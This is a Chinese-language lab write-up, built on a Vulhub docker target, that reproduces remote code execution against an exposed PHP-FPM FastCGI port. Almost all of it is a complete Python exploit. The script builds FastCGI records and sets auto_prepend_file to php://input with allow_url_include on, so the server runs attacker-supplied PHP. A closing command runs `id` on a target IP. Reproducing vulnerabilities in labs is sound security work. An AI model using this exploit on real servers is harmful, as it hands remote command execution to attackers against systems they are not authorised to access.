**一、靶场搭建**

1、Vulhub启动

docker-compose build

docker-compose up -d

**二、漏洞复现**

1、编写exp脚本

import socket

import random

import argparse

import sys

from io import BytesIO

# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version\_info.major == 2 else False

def bchr(i):

if PY2:

return force\_bytes(chr(i))

else:

return bytes([i])

def bord(c):

if isinstance(c, int):

return c

else:

return ord(c)

def force\_bytes(s):

if isinstance(s, bytes):

return s

else:

return s.encode('utf-8', 'strict')

def force\_text(s):

if issubclass(type(s), str):

return s

if isinstance(s, bytes):

s = str(s, 'utf-8', 'strict')

else:

s = str(s)

return s

class FastCGIClient:

"""A Fast-CGI Client for Python"""

# private

\_\_FCGI\_VERSION = 1

\_\_FCGI\_ROLE\_RESPONDER = 1

\_\_FCGI\_ROLE\_AUTHORIZER = 2

\_\_FCGI\_ROLE\_FILTER = 3

\_\_FCGI\_TYPE\_BEGIN = 1

\_\_FCGI\_TYPE\_ABORT = 2

\_\_FCGI\_TYPE\_END = 3

\_\_FCGI\_TYPE\_PARAMS = 4

\_\_FCGI\_TYPE\_STDIN = 5

\_\_FCGI\_TYPE\_STDOUT = 6

\_\_FCGI\_TYPE\_STDERR = 7

\_\_FCGI\_TYPE\_DATA = 8

\_\_FCGI\_TYPE\_GETVALUES = 9

\_\_FCGI\_TYPE\_GETVALUES\_RESULT = 10

\_\_FCGI\_TYPE\_UNKOWNTYPE = 11

\_\_FCGI\_HEADER\_SIZE = 8

# request state

FCGI\_STATE\_SEND = 1

FCGI\_STATE\_ERROR = 2

FCGI\_STATE\_SUCCESS = 3

def \_\_init\_\_(self, host, port, timeout, keepalive):

self.host = host

self.port = port

self.timeout = timeout

if keepalive:

self.keepalive = 1

else:

self.keepalive = 0

self.sock = None

self.requests = dict()

def \_\_connect(self):

self.sock = socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)

self.sock.settimeout(self.timeout)

self.sock.setsockopt(socket.SOL\_SOCKET, socket.SO\_REUSEADDR, 1)

# if self.keepalive:

# self.sock.setsockopt(socket.SOL\_SOCKET, socket.SOL\_KEEPALIVE, 1)

# else:

# self.sock.setsockopt(socket.SOL\_SOCKET, socket.SOL\_KEEPALIVE, 0)

try:

self.sock.connect((self.host, int(self.port)))

except socket.error as msg:

self.sock.close()

self.sock = None

print(repr(msg))

return False

return True

def \_\_encodeFastCGIRecord(self, fcgi\_type, content, requestid):

length = len(content)

buf = bchr(FastCGIClient.\_\_FCGI\_VERSION) \

+ bchr(fcgi\_type) \

+ bchr((requestid >> 8) & 0xFF) \

+ bchr(requestid & 0xFF) \

+ bchr((length >> 8) & 0xFF) \

+ bchr(length & 0xFF) \

+ bchr(0) \

+ bchr(0) \

+ content

return buf

def \_\_encodeNameValueParams(self, name, value):

nLen = len(name)

vLen = len(value)

record = b''

if nLen < 128:

record += bchr(nLen)

else:

record += bchr((nLen >> 24) | 0x80) \

+ bchr((nLen >> 16) & 0xFF) \

+ bchr((nLen >> 8) & 0xFF) \

+ bchr(nLen & 0xFF)

if vLen < 128:

record += bchr(vLen)

else:

record += bchr((vLen >> 24) | 0x80) \

+ bchr((vLen >> 16) & 0xFF) \

+ bchr((vLen >> 8) & 0xFF) \

+ bchr(vLen & 0xFF)

return record + name + value

def \_\_decodeFastCGIHeader(self, stream):

header = dict()

header['version'] = bord(stream[0])

header['type'] = bord(stream[1])

header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])

header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])

header['paddingLength'] = bord(stream[6])

header['reserved'] = bord(stream[7])

return header

def \_\_decodeFastCGIRecord(self, buffer):

header = buffer.read(int(self.\_\_FCGI\_HEADER\_SIZE))

if not header:

return False

else:

record = self.\_\_decodeFastCGIHeader(header)

record['content'] = b''

if 'contentLength' in record.keys():

contentLength = int(record['contentLength'])

record['content'] += buffer.read(contentLength)

if 'paddingLength' in record.keys():

skiped = buffer.read(int(record['paddingLength']))

return record

def request(self, nameValuePairs={}, post=''):

if not self.\_\_connect():

print('connect failure! please check your fasctcgi-server !!')

return

requestId = random.randint(1, (1 << 16) - 1)

self.requests[requestId] = dict()

request = b""

beginFCGIRecordContent = bchr(0) \

+ bchr(FastCGIClient.\_\_FCGI\_ROLE\_RESPONDER) \

+ bchr(self.keepalive) \

+ bchr(0) \* 5

request += self.\_\_encodeFastCGIRecord(FastCGIClient.\_\_FCGI\_TYPE\_BEGIN,

beginFCGIRecordContent, requestId)

paramsRecord = b''

if nameValuePairs:

for (name, value) in nameValuePairs.items():

name = force\_bytes(name)

value = force\_bytes(value)

paramsRecord += self.\_\_encodeNameValueParams(name, value)

if paramsRecord:

request += self.\_\_encodeFastCGIRecord(FastCGIClient.\_\_FCGI\_TYPE\_PARAMS, paramsRecord, requestId)

request += self.\_\_encodeFastCGIRecord(FastCGIClient.\_\_FCGI\_TYPE\_PARAMS, b'', requestId)

if post:

request += self.\_\_encodeFastCGIRecord(FastCGIClient.\_\_FCGI\_TYPE\_STDIN, force\_bytes(post), requestId)

request += self.\_\_encodeFastCGIRecord(FastCGIClient.\_\_FCGI\_TYPE\_STDIN, b'', requestId)

self.sock.send(request)

self.requests[requestId]['state'] = FastCGIClient.FCGI\_STATE\_SEND

self.requests[requestId]['response'] = b''

return self.\_\_waitForResponse(requestId)

def \_\_waitForResponse(self, requestId):

data = b''

while True:

buf = self.sock.recv(512)

if not len(buf):

break

data += buf

data = BytesIO(data)

while True:

response = self.\_\_decodeFastCGIRecord(data)

if not response:

break

if response['type'] == FastCGIClient.\_\_FCGI\_TYPE\_STDOUT \

or response['type'] == FastCGIClient.\_\_FCGI\_TYPE\_STDERR:

if response['type'] == FastCGIClient.\_\_FCGI\_TYPE\_STDERR:

self.requests['state'] = FastCGIClient.FCGI\_STATE\_ERROR

if requestId == int(response['requestId']):

self.requests[requestId]['response'] += response['content']

if response['type'] == FastCGIClient.FCGI\_STATE\_SUCCESS:

self.requests[requestId]

return self.requests[requestId]['response']

def \_\_repr\_\_(self):

return "fastcgi connect host:{} port:{}".format(self.host, self.port)

if \_\_name\_\_ == '\_\_main\_\_':

parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')

parser.add\_argument('host', help='Target host, such as 127.0.0.1')

parser.add\_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')

parser.add\_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')

parser.add\_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

args = parser.parse\_args()

client = FastCGIClient(args.host, args.port, 3, 0)

params = dict()

documentRoot = "/"

uri = args.file

content = args.code

params = {

'GATEWAY\_INTERFACE': 'FastCGI/1.0',

'REQUEST\_METHOD': 'POST',

'SCRIPT\_FILENAME': documentRoot + uri.lstrip('/'),

'SCRIPT\_NAME': uri,

'QUERY\_STRING': '',

'REQUEST\_URI': uri,

'DOCUMENT\_ROOT': documentRoot,

'SERVER\_SOFTWARE': 'php/fcgiclient',

'REMOTE\_ADDR': '127.0.0.1',

'REMOTE\_PORT': '9985',

'SERVER\_ADDR': '127.0.0.1',

'SERVER\_PORT': '80',

'SERVER\_NAME': "localhost",

'SERVER\_PROTOCOL': 'HTTP/1.1',

'CONTENT\_TYPE': 'application/text',

'CONTENT\_LENGTH': "%d" % len(content),

'PHP\_VALUE': 'auto\_prepend\_file = php://input',

'PHP\_ADMIN\_VALUE': 'allow\_url\_include = On'

}

response = client.request(params, content)

print(force\_text(response))

2、使用exp脚本，成功执行命令

python poc.py 192.168.239.129 /usr/local/lib/php/PEAR.php -c '<?php echo `id`; ?>'

